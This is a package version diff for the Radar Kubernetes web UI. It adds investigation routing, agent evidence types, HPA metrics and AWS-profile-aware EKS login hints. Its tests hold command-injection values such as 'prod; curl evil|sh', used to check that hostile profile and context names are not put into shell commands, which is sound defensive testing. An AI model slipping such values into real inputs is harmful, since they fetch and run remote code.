@skyhook-io/radar-app 1.13.3 → 1.13.5

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@skyhook-io/radar-app",
-  "version": "1.13.3",
+  "version": "1.13.5",
   "description": "Radar's full web UI as a reusable React component. Used by Radar's own binary and by external consumers like Radar Cloud.",
   "repository": {
     "type": "git",
@@ -35,7 +35,7 @@
     "diff": "^9.0.0",
     "monaco-editor": "0.55.1",
     "react-markdown": "^10.1.0",
-    "react-virtuoso": "^4.18.12",
+    "react-virtuoso": "^4.18.13",
     "remark-gfm": "^4.0.1",
     "shiki": "^4.4.2",
     "yaml": "^2.9.0"
@@ -58,7 +58,7 @@
     "@skyhook-io/k8s-ui": "*",
     "@tailwindcss/typography": "^0.5.20",
     "@tailwindcss/vite": "^4.3.3",
-    "@tanstack/react-query": "^5.101.4",
+    "@tanstack/react-query": "^5.102.8",
     "@types/node": "^26.2.0",
     "@types/react": "^19.2.18",
     "@types/react-dom": "^19.2.3",
@@ -66,16 +66,16 @@
     "@xyflow/react": "^12.11.2",
     "clsx": "^2.1.1",
     "elkjs": "^0.11.1",
-    "eslint": "^10.8.0",
+    "eslint": "^10.10.0",
     "eslint-plugin-react-hooks": "^7.1.1",
     "eslint-plugin-react-refresh": "^0.5.3",
     "globals": "^17.11.0",
     "lucide-react": "^1.37.0",
-    "postcss": "^8.5.26",
+    "postcss": "^8.5.28",
     "prettier": "^3.9.5",
     "react": "^19.2.8",
     "react-dom": "^19.2.8",
-    "react-router-dom": "^7.18.2",
+    "react-router-dom": "^7.18.3",
     "tailwind-merge": "^3.6.0",
     "tailwindcss": "^4.3.3",
     "typescript": "^6.0.2",

package/src/App.tsx

@@ -7,7 +7,7 @@ import { useNavigate, useLocation, useSearchParams, useNavigationType, Navigatio
 import { HomeView } from './components/home/HomeView'
 import { DebugOverlay } from './components/DebugOverlay'
 import { GlobalDiagnoseButton } from './components/diagnose/LocalDiagnoseAction'
-import { useDiagnoseLayout } from './components/diagnose/DiagnoseContext'
+import { investigationWorkspaceSearch, isInvestigationWorkspacePath, useDiagnoseLayout } from './components/diagnose/DiagnoseContext'
 import { DiagnoseSurface } from './components/diagnose/DiagnoseSurface'
 import { TopologyGraph, TopologySearch, TopologyBreadcrumb, TopologyFilterSidebar, TopologyControls, FreshnessControl, gitOpsRouteForKind, gitOpsRouteForResource, ScopePill, PaneLoader, assetUrl } from '@skyhook-io/k8s-ui'
 import { initNavigationMap } from '@skyhook-io/k8s-ui/utils/navigation'
@@ -120,7 +120,7 @@ const FLEET_MODE_KINDS = new Set<NodeKind>([
 
 // Convert API resource name back to topology node ID prefix
 // Extended MainView type that includes traffic and cost
-type ExtendedMainView = MainView | 'traffic' | 'cost' | 'capacity' | 'workload' | 'checks' | 'gitops' | 'compare' | 'helmCompare' | 'issues' | 'applications'
+type ExtendedMainView = MainView | 'traffic' | 'cost' | 'capacity' | 'workload' | 'checks' | 'gitops' | 'compare' | 'helmCompare' | 'issues' | 'applications' | 'investigations'
 
 // Extract view from URL path
 function getViewFromPath(pathname: string): ExtendedMainView {
@@ -140,6 +140,7 @@ function getViewFromPath(pathname: string): ExtendedMainView {
   if (path === 'applications') return 'applications'
   if (path === 'compare') return 'compare'
   if (path === 'issues') return 'issues'
+  if (path === 'investigations') return 'investigations'
   return 'home'
 }
 
@@ -325,7 +326,7 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
   // static. contentGutter is the docked panel width (0 when closed/overlay/maximized).
   const {
     open: diagnoseOpen,
-    close: closeDiagnose,
+    dismissForNavigation: dismissDiagnoseForNavigation,
     contentGutter,
     maximized: diagnoseMaximized,
   } = useDiagnoseLayout()
@@ -475,10 +476,10 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
     const path = view === 'home' ? '/' : `/${view}`
 
     // Start fresh — keep only cross-view params, discard view-specific ones.
-    // Read the live location because Diagnose owns `ai-run` through the History
-    // API; React Router's searchParams snapshot does not update for that write.
+    // React Router owns navigation state. In embedded MemoryRouter mode the
+    // browser URL intentionally does not change, so window.location is stale.
     const newParams = new URLSearchParams()
-    const currentParams = new URLSearchParams(window.location.search)
+    const currentParams = new URLSearchParams(location.search)
     const globalNamespaces = currentParams.get('namespaces')
     if (globalNamespaces) {
       newParams.set('namespaces', globalNamespaces)
@@ -496,7 +497,7 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
     }
 
     navigate({ pathname: path, search: newParams.toString() })
-  }, [navigate, takeover, goHost])
+  }, [location.search, navigate, takeover, goHost])
 
   // The standalone rail expresses intent to leave the full-width investigation
   // workspace. Close it before routing so the destination is immediately visible;
@@ -504,10 +505,10 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
   const handlePrimaryNavigate = useCallback((view: ExtendedMainView) => {
     navigateFromPrimaryRail(
       diagnoseOpen && diagnoseMaximized,
-      closeDiagnose,
+      dismissDiagnoseForNavigation,
       () => setMainView(view),
     )
-  }, [diagnoseOpen, diagnoseMaximized, closeDiagnose, setMainView])
+  }, [diagnoseOpen, diagnoseMaximized, dismissDiagnoseForNavigation, setMainView])
 
   // Cloud (embedded) takes over the "fleet-shaped" per-cluster views with its
   // own fleet pages scoped to this cluster — owned by the host's left rail — so
@@ -730,7 +731,7 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
   // duplicated verbatim at each render site. Encodes the opened resource in the
   // URL (?resource=ns/name) — the same deep-link shape the resources view
   // round-trips — so refresh/share keeps the drawer open instead of dropping it.
-  const navigateToResourceList = useCallback((resource: SelectedResource) => {
+  const navigateToResourceList = useCallback((resource: SelectedResource, investigationRunID?: string | null) => {
     const pluralKind = kindToPluralWithGroup(resource.kind, resource.group ?? '')
     setSelectedResource({ ...resource, kind: pluralKind })
     const newParams = new URLSearchParams(searchParams)
@@ -748,10 +749,12 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
     } else {
       newParams.delete('apiGroup')
     }
+    if (investigationRunID === null) newParams.delete('ai-run')
+    else if (investigationRunID) newParams.set('ai-run', investigationRunID)
     navigate({ pathname: `/resources/${pluralKind}`, search: newParams.toString() })
   }, [searchParams, navigate])
 
-  const navigateToHelmRelease = useCallback((namespace: string, name: string, storageNamespace?: string) => {
+  const navigateToHelmRelease = useCallback((namespace: string, name: string, storageNamespace?: string, investigationRunID?: string | null) => {
     const newParams = new URLSearchParams()
     const globalNamespaces = searchParams.get('namespaces')
     if (globalNamespaces) {
@@ -761,6 +764,7 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
     if (storageNamespace) {
       newParams.set('releaseStorage', storageNamespace)
     }
+    if (investigationRunID) newParams.set('ai-run', investigationRunID)
     setSelectedHelmRelease({ namespace, name, storageNamespace })
     if (mainView === 'helm') {
       setSearchParams(newParams, { replace: true })
@@ -772,9 +776,9 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
   // From the Issues queue: special controller/manager subjects route to their
   // rich detail pages, not the generic resource drawer that's a dead-end for
   // them. Member resources (Pods, Services, …) fall through to resources.
-  const navigateFromIssue = useCallback((resource: SelectedResource) => {
+  const navigateFromIssue = useCallback((resource: SelectedResource, investigationRunID?: string | null) => {
     if (resource.kind === 'HelmRelease' && resource.group === 'helm.sh' && resource.namespace) {
-      navigateToHelmRelease(resource.namespace, resource.name)
+      navigateToHelmRelease(resource.namespace, resource.name, undefined, investigationRunID)
       return
     }
     const gitOpsPath = gitOpsRouteForResource({
@@ -783,10 +787,12 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
       metadata: { namespace: resource.namespace ?? '', name: resource.name },
     })
     if (gitOpsPath) {
-      navigate(gitOpsPath)
+      const destination = new URL(gitOpsPath, window.location.origin)
+      if (investigationRunID) destination.searchParams.set('ai-run', investigationRunID)
+      navigate(`${destination.pathname}${destination.search}${destination.hash}`)
       return
     }
-    navigateToResourceList(resource)
+    navigateToResourceList(resource, investigationRunID)
   }, [navigate, navigateToHelmRelease, navigateToResourceList])
 
   // Collapse the over-list fullscreen back to the drawer = drop ?full=1 (and the
@@ -842,7 +848,7 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
     gitops: 'g o', checks: 'g u', cost: 'g c', capacity: 'g p',
     // Non-rail views (reachable via deep links / actions, not the rail) get no
     // dedicated mnemonic — listed for exhaustiveness so the type stays total.
-    workload: '', compare: '', helmCompare: '',
+    workload: '', compare: '', helmCompare: '', investigations: '',
   }
   const views = Object.keys(VIEW_SHORTCUT_KEYS).filter(
     (v): v is ExtendedMainView => VIEW_SHORTCUT_KEYS[v as ExtendedMainView] !== '',
@@ -1162,10 +1168,23 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
       // Reset resource-specific params while retaining the durable investigation
       // focus. Diagnose resolves runs by id and owns whether the focused run is
       // still readable after the context switch.
-      const nextParams = new URLSearchParams()
-      const diagnoseRun = new URLSearchParams(window.location.search).get('ai-run')
-      if (diagnoseRun) nextParams.set('ai-run', diagnoseRun)
-      navigate({ pathname: location.pathname, search: nextParams.toString() }, { replace: true })
+      if (isInvestigationWorkspacePath(location.pathname)) {
+        navigate(
+          {
+            pathname: location.pathname,
+            search: investigationWorkspaceSearch(location.search),
+          },
+          { replace: true, state: location.state },
+        )
+      } else {
+        const nextParams = new URLSearchParams()
+        const diagnoseRun = new URLSearchParams(location.search).get('ai-run')
+        if (diagnoseRun) nextParams.set('ai-run', diagnoseRun)
+        navigate(
+          { pathname: location.pathname, search: nextParams.toString() },
+          { replace: true, state: location.state },
+        )
+      }
 
       // Auto-unpause so the new cluster's topology loads immediately
       setTopologyPaused(false)
@@ -2467,7 +2486,8 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
       {diagnoseOpen && (
         <DiagnoseSurface
           topInset={chromeless ? 0 : APP_HEADER_HEIGHT}
-          onOpenResource={(ref) => {
+          onBrowseIssues={() => setMainView('issues')}
+          onOpenResource={(ref, investigationRunID) => {
             const resource: SelectedResource = {
               kind: ref.kind,
               namespace: ref.namespace ?? '',
@@ -2476,10 +2496,35 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
             }
             const path = relatedResourcePath(resource)
             if (path.startsWith('/workload/')) {
-              navigate(path)
+              const destination = new URL(path, window.location.origin)
+              if (investigationRunID) destination.searchParams.set('ai-run', investigationRunID)
+              navigate(`${destination.pathname}${destination.search}${destination.hash}`)
               return
             }
-            navigateFromIssue(resource)
+            navigateFromIssue(resource, investigationRunID)
+          }}
+          onOpenTimeline={({ namespace, name }) => {
+            // Scope state and URL move together, as the Timeline's own
+            // namespace prompt does: the URL-write effect would otherwise
+            // restore the previous scope over the destination's `namespaces`
+            // while the URL-read effect applies it, and the two would alternate.
+            const params = new URLSearchParams({ q: name })
+            if (namespace) {
+              params.set('namespaces', namespace)
+              setNamespaces([namespace])
+              setActiveNamespace.mutate({ namespaces: [namespace] })
+            } else {
+              // A cluster-scoped subject changes nothing about scope, so the
+              // destination keeps the current one. That means a namespace
+              // filter can hide the very change that was clicked, because the
+              // Timeline drops events whose namespace is outside it. Widening
+              // instead has to move scope, URL and the server pick together —
+              // three coupled effects with their own ordering rules — so it is
+              // a change to make against that machinery, not here.
+              const globalNamespaces = searchParams.get('namespaces')
+              if (globalNamespaces) params.set('namespaces', globalNamespaces)
+            }
+            navigate({ pathname: '/timeline', search: params.toString() })
           }}
         />
       )}

package/src/RadarApp.tsx

@@ -42,6 +42,7 @@ import type { TimelineSourceConfig } from "./api/timelineSource";
 import { DiagnoseCustomizationProvider } from "./context/DiagnoseCustomization";
 import type {
   RenderDiagnoseAction,
+  RenderInvestigationRunActions,
   DiagnoseConsentCopy,
 } from "./context/DiagnoseCustomization";
 import { defaultDiagnoseAction } from "./components/diagnose/LocalDiagnoseAction";
@@ -113,6 +114,8 @@ export interface RadarAppProps {
    * agent-free. See ./context/DiagnoseCustomization for the render-prop shape.
    */
   renderDiagnoseAction?: RenderDiagnoseAction;
+  /** Host-owned controls for the focused investigation; absent in standalone Radar. */
+  renderInvestigationRunActions?: RenderInvestigationRunActions;
   /**
    * Replaces the first-run consent card's trust copy. REQUIRED of any host whose
    * backend runs the agent somewhere other than the user's own machine — the
@@ -135,6 +138,12 @@ export interface RadarAppProps {
    * Radar runs with `navSlots.chrome: 'none'`.
    */
   onClusterLoadStateChange?: (state: ClusterLoadState) => void;
+  /**
+   * Called after a focused investigation has been resolved by the server.
+   * Embedders whose chrome lives outside RadarApp's router can use this as a
+   * navigation hint without treating an unverified URL id as durable state.
+   */
+  onInvestigationFocus?: (runID: string) => void;
   /**
    * Selects the store backing the event timeline. Omit for the local event
    * store the Radar binary keeps (default, standalone behavior). Set
@@ -196,9 +205,11 @@ export function RadarApp({
   manageDocumentTitle = false,
   documentTitleSuffix,
   renderDiagnoseAction,
+  renderInvestigationRunActions,
   diagnoseConsent,
   initialPath,
   onClusterLoadStateChange,
+  onInvestigationFocus,
   timelineSource,
 }: RadarAppProps): React.ReactElement {
   // Apply runtime config during render so module-level singletons are set
@@ -227,8 +238,13 @@ export function RadarApp({
                 <DiagnoseCustomizationProvider
                   value={renderDiagnoseAction ?? defaultDiagnoseAction}
                   consentCopy={diagnoseConsent}
+                  renderRunActions={renderInvestigationRunActions}
                 >
-                  <DiagnoseProvider browserURLState={router !== "memory"}>
+                  <DiagnoseProvider
+                    browserURLState={router !== "memory"}
+                    forceRouterURLState={router === "memory"}
+                    onFocusedRun={onInvestigationFocus}
+                  >
                     <App
                       manageDocumentTitle={manageDocumentTitle}
                       documentTitleSuffix={documentTitleSuffix}

package/src/api/client.ts

@@ -3105,6 +3105,10 @@ export interface PrometheusResourceMetrics {
   result: PrometheusQueryResult;
   query?: string; // PromQL query (included when result is empty, for diagnostics)
   hint?: string; // Contextual hint when results are empty (e.g. cri-docker label issues)
+  // Workload kinds only: the pods the chart covers, established by
+  // controller ownership. podsTotal is the full set when the cap cut the list.
+  pods?: number;
+  podsTotal?: number;
 }
 
 export type PrometheusMetricCategory =
@@ -3516,21 +3520,35 @@ export function useRightsizingScan(namespaces: string[], context = "") {
   };
 }
 
-// Raw PromQL query (range). Used by HPA charts for status_current_replicas etc.
-export function usePromQLRange(
-  query: string,
+// An HPA's replica history: the count it currently observes and the count it
+// has decided on. Curated server-side so reading the HPA is the only grant
+// the chart needs; raw PromQL requires cluster-wide access.
+export interface PrometheusHPAMetrics {
+  namespace: string;
+  name: string;
+  range: string;
+  current: PrometheusQueryResult;
+  desired: PrometheusQueryResult;
+}
+
+export function usePrometheusHPAMetrics(
+  namespace: string,
+  name: string,
   range: PrometheusTimeRange = "1h",
   enabled = true,
 ) {
-  return useQuery<PrometheusQueryResult>({
-    queryKey: ["promql-range", query, range],
+  return useQuery<PrometheusHPAMetrics>({
+    queryKey: ["prometheus-hpa-metrics", namespace, name, range],
     queryFn: () =>
-      fetchJSON(
-        `/prometheus/query?query=${encodeURIComponent(query)}&range=${range}`,
-      ),
-    enabled: enabled && Boolean(query),
+      fetchJSON(`/prometheus/hpa/${namespace}/${name}?range=${range}`),
+    enabled: enabled && Boolean(namespace && name),
     staleTime: 30000,
-    refetchInterval: 60000,
+    // A denial is a standing RBAC fact, not a blip: show the access state at
+    // once and stop polling for it.
+    refetchInterval: (query) =>
+      isForbiddenError(query.state.error) ? false : 60000,
+    retry: (failureCount, error) =>
+      !isForbiddenError(error) && failureCount < 1,
   });
 }
 

package/src/api/diagnose.ts

@@ -52,11 +52,60 @@ export interface RootCauseEvidence {
   refs?: string[];
 }
 
+/**
+ * How the agent frames one cited Radar result. Roles order cards; they never
+ * hide one.
+ *
+ * One half of a Go↔TS contract: `evidenceRoles` in internal/ai/parse.go and
+ * EVIDENCE_ROLES in components/diagnose/investigationCase.ts must list exactly
+ * these roles. Change all three together.
+ */
+export type DiagnosisEvidenceRole =
+  "cause" | "symptom" | "context" | "benign" | "demoted" | "rules_out";
+
+/**
+ * Which observation inside one tool result a claim is about. Agent text
+ * copied verbatim by the server; the UI resolves it against captured evidence
+ * and places the claim only on an exact, unique match.
+ */
+export interface DiagnosisEvidenceSubject {
+  group?: string;
+  kind: string;
+  namespace?: string;
+  name: string;
+  container?: string;
+  stream?: "current" | "previous";
+  /** Evidence kind (resource, logs, events, changes, metrics, …). */
+  observation?: string;
+}
+
+/** One server-bound item of the agent's case. Unlinked items are never rendered. */
+export interface DiagnosisEvidenceItem {
+  status: "linked" | "unlinked";
+  ref?: string;
+  role?: DiagnosisEvidenceRole;
+  claim?: string;
+  subject?: DiagnosisEvidenceSubject;
+}
+
+export interface DiagnosisRuledOut {
+  hypothesis: string;
+  /** Index into Diagnosis.evidence of the item whose result contradicted it. */
+  evidenceIndex: number;
+}
+
 export interface Diagnosis {
   healthy?: boolean;
   inconclusive?: boolean; // investigated but couldn't determine — distinct from healthy
   rootCause: string;
   rootCauseEvidence?: RootCauseEvidence;
+  /** The agent's case over Radar's evidence; absent from hosted backends and older runs. */
+  evidence?: DiagnosisEvidenceItem[];
+  /** How many of the agent's evidence entries never reached the UI, including ones cut before they got a slot in `evidence`. */
+  unlinkedEvidence?: number;
+  /** The agent's evidence field was not a list, so none of it could be read. */
+  evidenceMalformed?: boolean;
+  ruledOut?: DiagnosisRuledOut[];
   report: string;
   remediation: string[];
   recommendedIndex?: number; // 1-based index into remediation of the step Apply performs
@@ -87,6 +136,13 @@ export interface ResourceHealthSignal {
 
 export type ApplyMutationOutcome = "confirmed" | "failed" | "unknown";
 
+// One MCP server's connection state as the agent CLI reported it at startup.
+// Only "connected" means its tools are usable.
+export interface MCPServerStatus {
+  name: string;
+  status: string;
+}
+
 export interface DiagnoseStreamEvent {
   type:
     | "turn"
@@ -98,7 +154,11 @@ export interface DiagnoseStreamEvent {
     | "closed"
     | "history_unavailable"
     | "replay_complete";
-  phase?: string;
+  phase?: string; // "investigating" | "connected" | "ready"
+  // Startup facts the agent CLI reported on the "ready" phase.
+  model?: string;
+  toolCount?: number; // Radar tools the agent registered
+  mcpServers?: MCPServerStatus[];
   step?: DiagnoseStep;
   token?: string;
   diagnosis?: Diagnosis;
@@ -255,20 +315,6 @@ export async function getRun(
   return res.json();
 }
 
-export async function updateRunVisibility(
-  id: string,
-  visibility: "private" | "organization",
-): Promise<RunSummary> {
-  const res = await fetch(`${RUNS()}/${encodeURIComponent(id)}`, {
-    method: "PATCH",
-    credentials: getCredentialsMode(),
-    headers: { "Content-Type": "application/json", ...getAuthHeaders() },
-    body: JSON.stringify({ visibility }),
-  });
-  if (!res.ok) throw new DiagnoseError(res.status, await errorText(res));
-  return res.json();
-}
-
 // recordConsent acknowledges the current disclosure for an execution profile, server-side.
 export async function recordConsent(surface: string): Promise<void> {
   const res = await fetch(`${getApiBase()}/diagnose/consent`, {

package/src/components/ConnectionErrorView.test.tsx

@@ -71,6 +71,36 @@ describe('ConnectionErrorView authentication guidance', () => {
     expect(hints.fallbackCommand?.command).toBe('aws sso login')
   })
 
+  it('pins the kubeconfig AWS profile on every EKS command that would otherwise use the ambient one', () => {
+    const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
+    const profile = 'myorg/prod/admin'
+
+    const rejected = getAuthRejectedHints(context, profile)
+    expect(rejected.fallbackCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
+    expect(rejected.authCommand?.command).toBe(
+      'aws sts get-caller-identity --profile myorg/prod/admin && aws eks describe-cluster --name prod --region us-east-1 --profile myorg/prod/admin --query cluster.accessConfig.authenticationMode --output text',
+    )
+    expect(rejected.hints.join(' ')).not.toContain("terminal's current AWS profile")
+
+    const auth = selectConnectionHints('auth', context, undefined, profile)
+    expect(auth?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
+    expect(auth?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
+
+    const timeout = selectConnectionHints('timeout', context, undefined, profile)
+    expect(timeout?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
+    expect(timeout?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
+  })
+
+  it('drops a hostile AWS profile instead of interpolating it', () => {
+    const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
+    const hints = getAuthRejectedHints(context, 'prod; curl evil|sh')
+
+    expect(hints.fallbackCommand?.command).toBe('aws sso login')
+    expect(hints.authCommand?.command).toBe(
+      'aws sts get-caller-identity && aws eks describe-cluster --name prod --region us-east-1 --query cluster.accessConfig.authenticationMode --output text',
+    )
+  })
+
   it('does not offer interpolated commands for hostile GKE context values', () => {
     const hints = getAuthRejectedHints('gke_project_us-east1_prod;curl evil|sh')
 

package/src/components/ConnectionErrorView.tsx

@@ -6,7 +6,7 @@ import { parseContextName } from '../utils/context-name'
 import { useOpenLocalTerminal, ClusterName } from '@skyhook-io/k8s-ui'
 import { useAuthMe, useContexts } from '../api/client'
 import { Tooltip } from './ui/Tooltip'
-import { allShellSafe } from '../utils/shell-safe'
+import { allShellSafe, awsProfileFlag } from '../utils/shell-safe'
 import { apiUrl } from '../api/config'
 import { useCapabilitiesContext } from '../contexts/CapabilitiesContext'
 
@@ -33,7 +33,7 @@ interface AuthHints {
   hideAuthButton?: boolean
 }
 
-function getAuthHints(context: string): AuthHints {
+function getAuthHints(context: string, awsProfile?: string): AuthHints {
   const parsed = parseContextName(context)
 
   switch (parsed.provider) {
@@ -54,18 +54,19 @@ function getAuthHints(context: string): AuthHints {
       return result
     }
     case 'EKS': {
+      const profileFlag = awsProfileFlag(awsProfile)
       const result: AuthHints = {
         title: 'EKS Authentication Failed',
         hints: [
           'Radar could not get AWS credentials for this context.',
           'For AWS SSO contexts, the SSO session may need login.',
         ],
-        authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: 'aws sso login' },
+        authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: `aws sso login${profileFlag}` },
       }
       if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
         result.fallbackCommand = {
           label: 'If that doesn\'t work, refresh cluster credentials:',
-          command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
+          command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
         }
       }
       return result
@@ -88,26 +89,34 @@ function getAuthHints(context: string): AuthHints {
   }
 }
 
-export function getAuthRejectedHints(context: string): AuthHints {
+export function getAuthRejectedHints(context: string, awsProfile?: string): AuthHints {
   const parsed = parseContextName(context)
 
   switch (parsed.provider) {
     case 'EKS': {
+      const profileFlag = awsProfileFlag(awsProfile)
       const result: AuthHints = {
         title: 'EKS Could Not Authenticate This Request',
         hints: [
           'EKS returned HTTP 401, so Kubernetes could not authenticate this request.',
           'The AWS credential may be missing, stale, or revoked, or its IAM principal may not be mapped through an EKS access entry or the cluster\'s legacy aws-auth configuration.',
           'If the credential is current, ask a cluster admin to verify the mapping for the IAM principal used by this context.',
-          'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
+          profileFlag
+            ? 'The commands below use the AWS profile pinned by this context\'s kubeconfig exec block. If it also pins --role-arn, inspect that role instead.'
+            : 'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
           'API and API_AND_CONFIG_MAP modes use access entries; CONFIG_MAP mode uses the aws-auth ConfigMap.',
         ],
-        fallbackCommand: { label: 'If this context uses the current AWS SSO profile, re-login and retry:', command: 'aws sso login' },
+        fallbackCommand: {
+          label: profileFlag ? 'If this profile uses AWS SSO, re-login and retry:' : 'If this context uses the current AWS SSO profile, re-login and retry:',
+          command: `aws sso login${profileFlag}`,
+        },
       }
       if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
         result.authCommand = {
-          label: 'Inspect the caller and authentication mode for the current terminal AWS profile:',
-          command: `aws sts get-caller-identity && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region} --query cluster.accessConfig.authenticationMode --output text`,
+          label: profileFlag
+            ? 'Inspect the caller and authentication mode for the pinned AWS profile:'
+            : 'Inspect the caller and authentication mode for the current terminal AWS profile:',
+          command: `aws sts get-caller-identity${profileFlag} && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region}${profileFlag} --query cluster.accessConfig.authenticationMode --output text`,
         }
         // A diagnostic, not a re-auth — the "Authenticate in terminal" button
         // would misrepresent what running it does.
@@ -167,7 +176,7 @@ function getAuthPluginStuckHints(): AuthHints {
   }
 }
 
-function getTimeoutHints(context: string): AuthHints | null {
+function getTimeoutHints(context: string, awsProfile?: string): AuthHints | null {
   const parsed = parseContextName(context)
   const baseHints = [
     'The Kubernetes API did not respond before the deadline.',
@@ -192,15 +201,16 @@ function getTimeoutHints(context: string): AuthHints | null {
       return result
     }
     case 'EKS': {
+      const profileFlag = awsProfileFlag(awsProfile)
       const result: AuthHints = {
         title: 'Connection Timed Out',
         hints: [...baseHints, 'If the endpoint is reachable, AWS credentials or SSO may need refresh.'],
-        authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: 'aws sso login' },
+        authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: `aws sso login${profileFlag}` },
       }
       if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
         result.fallbackCommand = {
           label: 'If that does not work, refresh cluster credentials:',
-          command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
+          command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
         }
       }
       return result
@@ -322,17 +332,17 @@ export function CopyableCommand({ command, onRunInTerminal }: { command: string;
   )
 }
 
-export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string): AuthHints | null {
+export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string, awsProfile?: string): AuthHints | null {
   const parsedContext = originalContext || context
   switch (errorType) {
     case 'auth':
-      return getAuthHints(parsedContext)
+      return getAuthHints(parsedContext, awsProfile)
     case 'auth-rejected':
-      return getAuthRejectedHints(parsedContext)
+      return getAuthRejectedHints(parsedContext, awsProfile)
     case 'auth-plugin-stuck':
       return getAuthPluginStuckHints()
     case 'timeout':
-      return getTimeoutHints(parsedContext)
+      return getTimeoutHints(parsedContext, awsProfile)
     default:
       return null
   }
@@ -344,9 +354,11 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
   const isAuthRejected = connection.errorType === 'auth-rejected'
   const isAuthPluginStuck = connection.errorType === 'auth-plugin-stuck'
   const isAuthError = isAuth || isAuthRejected || isAuthPluginStuck
-  const { data: contexts } = useContexts()
-  const originalContext = contexts?.find((context) => context.name === connection.context)?.originalName
-  const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext)
+  const { data: contexts, isLoading: contextsLoading } = useContexts()
+  const matchedContext = contexts?.find((context) => context.name === connection.context)
+  const originalContext = matchedContext?.originalName
+  const awsProfile = contextsLoading ? undefined : matchedContext?.awsProfile
+  const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext, awsProfile)
   const errorInfo = commandInfo || errorHints[connection.errorType || 'unknown'] || errorHints.unknown
   const openLocalTerminal = useOpenLocalTerminal()
   const { data: authMe } = useAuthMe()